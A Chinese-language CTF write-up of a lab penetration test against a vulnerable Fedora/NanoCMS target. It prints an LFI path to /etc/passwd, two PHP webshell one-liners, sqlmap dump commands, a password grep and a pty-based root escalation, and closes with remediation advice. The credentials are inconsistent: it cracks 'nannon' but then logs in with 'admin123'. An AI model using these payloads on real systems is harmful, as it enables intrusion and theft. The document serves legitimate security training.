ctf5 靶机渗透测试

测试时间:2026-01-18测试环境:局域网靶机(192.168.5.133)测试目标:从信息收集到提权至 root 权限的完整渗透闭环

一、信息收集

1.1 主机发现

通过arp-scan -l扫描局域网,定位目标主机:

1
arp-scan -l

结果:192.168.5.133(MAC 地址:00:0c:29:44:6b:32,归属 VMware)

img

1.2 服务扫描

使用 Nikto 对 80 端口进行 Web 服务扫描:

1
nikto -host 192.168.5.133 -port 80

img

核心发现(补充新增信息):

  • Web 服务:Apache/2.2.6 (Fedora)(已 EOL,存在大量未修复漏洞)
  • 后端语言:PHP/5.2.4(极度老旧,无安全防护)
  • 敏感路径:/phpmyadmin(数据库面板)、/info.php(phpinfo 信息泄露)、/mail(SquirrelMail)、/data(NanoCMS 后台目录)
  • 漏洞点:HTTP TRACE 开启、文件包含漏洞(LFI/RFI)、#wp-config.php#凭证泄露、目录索引开启

1.3 文件包含获取的信息

通过文件包含漏洞读取/etc/passwd(路径:/index.php?page=../../../../etc/passwd%00),获取系统用户列表:

img

1
2
3
root:x:0:0:root:/root:/bin/bash
andy:x:502:502:Andrew Carp:/home/andy:/bin/bash
apache:x:48:48:Apache:/var/www:/sbin/nologin

但没用

1.4框架nday

img

img

img

这个有用

二、漏洞利用

2.1 一句话木马/远程代码执行

从目标/data/pagesdata.txt获取 PHP 序列化配置文件,解析出后台凭证:

1
a:12:{...s:8:"username";s:5:"admin";s:8:"password";s:32:"9d2f75377ac0ab991d40c91fd27e52fd";...}
  • MD5 密文破解:9d2f75377ac0ab991d40c91fd27e52fd → 明文nannon
  • 后台路径:http://192.168.5.133/~andy/data/nanocmsmin.php

img

img

2.2 后台登录与 Webshell 上传

通过admin/admin123登录 NanoCMS 后台(/data/nanocmsmin.php),在 “编辑内容” 功能中插入两种 Webshell:

  1. GET 型命令执行验证:
1
<?php system($_GET['cmd']); ?>

img

img

可行

  1. POST 型一句话木马:
1
<?php @eval($_POST['cmd']); ?>

img

保存后验证执行:

用蚁剑直接连接

img

img

进去之后用 uname -a 找到版本信息应该可以用版本内核提权

或者直接 grep -R -i pass /home/* 扫描一下根目录下有“pass”字段的文件

真的找到一个

img

进这个文件看一下

img

发现里面有密码,等会提权就可以一步搞定了

2.3 sql 注入

在这个主页面,用 ’ 测试一下,发现报错,说明存在 sql 注入

直接 sqlmap 搞就完事

img

通过 BurpSuite 抓取表单请求,把它保存到 flag.txt 使用 sqlmap 测试注入:

img

1
sqlmap -r flag.txt

img

img

验证结果:

  • 后端数据库:MySQL 4.1
  • 注入点:POST 参数name/email/phone(单引号字符型注入)
  • 可通过注入读取数据库所有数据

之后可以通过 sqlmap -r flag.txt -D drupal -T users -dump 获取用户列表里面的数据

到时候可以登录 /events 页面

img

events界面用它登录

img

2.4 xss

在这个页面存在存储型 xss

img

img

在events页面登录进去之后有许多 交互的框

一定有 xss 我就不试了

img

三、权限提升

3.1 绕过 TTY 限制提权

当前 Webshell 为apache用户的非交互式终端,执行su/sudo时提示tty限制,通过以下命令绕过:

1
2
3
# 创建交互式TTY终端
python -c 'import pty;pty.spawn("/bin/bash")'
# 提权至root(apache用户免密sudo)sudo su

提权成功后,获取root权限(终端提示符变为#),可执行任意系统命令(如uname -a返回系统版本Linux localhost.localdomain 2.6.23.1-42.fc8)。

img

再用上面得到的密码 su提权得到 root 权限

四、渗透结果

4.1 最终权限

  • 已获取目标服务器root权限,可读写所有文件、执行任意系统命令
  • 已读取系统敏感文件:/etc/passwd(用户列表)、/etc/shadow(密码哈希)

4.2 靶机核心漏洞总结

漏洞类型 风险等级 利用结果
未授权访问(后台) 高危 登录后台并上传 Webshell
文件包含漏洞(LFI/RFI) 致命 读取系统敏感文件、获取权限
配置文件泄露 高危 获取管理员凭证
服务版本过旧 致命 漏洞无补丁可直接利用
SQL 注入 高危 读取数据库数据

五、修复建议

  1. 服务升级:将 Apache/PHP 升级至当前稳定版本(如 Apache 2.4.54、PHP 8.2)
  2. 权限加固
    1. 限制apache用户的 sudo 权限,禁用免密配置
    2. /data/pages等目录设置最小权限(避免 0777)
  3. 漏洞修复
    1. 关闭 HTTP TRACE 方法
    2. 过滤用户输入,修复文件包含、SQL 注入漏洞
  4. 敏感信息保护
    1. 移除/info.php等测试文件
    2. 加密存储密码(使用加盐哈希)
    3. 限制/phpmyadmin等敏感路径的访问权限